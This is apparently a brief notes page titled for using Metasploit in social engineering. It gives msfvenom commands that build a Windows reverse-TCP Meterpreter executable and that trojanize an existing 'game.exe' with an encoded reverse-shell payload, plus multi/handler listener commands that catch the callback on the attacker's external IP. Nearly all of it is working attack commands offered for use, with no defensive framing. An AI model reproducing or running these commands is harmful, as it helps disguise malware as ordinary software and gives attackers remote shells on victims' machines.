Skip to main content

metasploit_for_social_engineerinng

Creating a windows virus

msfvenom --platform windows --payload windows/x64/meterpreter/reverse_tcp lhost=<my_external_ip> lport=<my_open_port> --format exe -o win_bd.exe

Of course we must have a listening multi handler on the same specified ready to catch the connection, like this:

use multi/handler
set payload windows/shell/reverse_tcp
setg lhost <my_external_ip> # if we are in a NAT port forwarding environment we can also set our internal IP
setg lport <my_open_port>
run

Trojanizing an existing executable file

Trojanizing an executable with msfvenom is quite limited, there are better options around.

Let's say we have an executable file called "game.exe" we can trojanize it by doing:

msfvenom -a x86 -p windows -p windows/shell/reverse_tcp -x game.exe -k lhost=<my_external_ip> lport=<my_open_port> -b "\x00" -e x86/shikata_ga_nai -f exe -o newgame.exe

We can also choose as payload windows/meterpreter/reverse_tcp, but it will be a bigger file.

Of course we must have a listening multi handler on the same specified ready to catch the connection, like this:

use multi/handler
set payload windows/shell/reverse_tcp
setg lhost <my_external_ip> # if we are in a NAT port forwarding environment we can also set our internal IP
setg lport <my_open_port>
run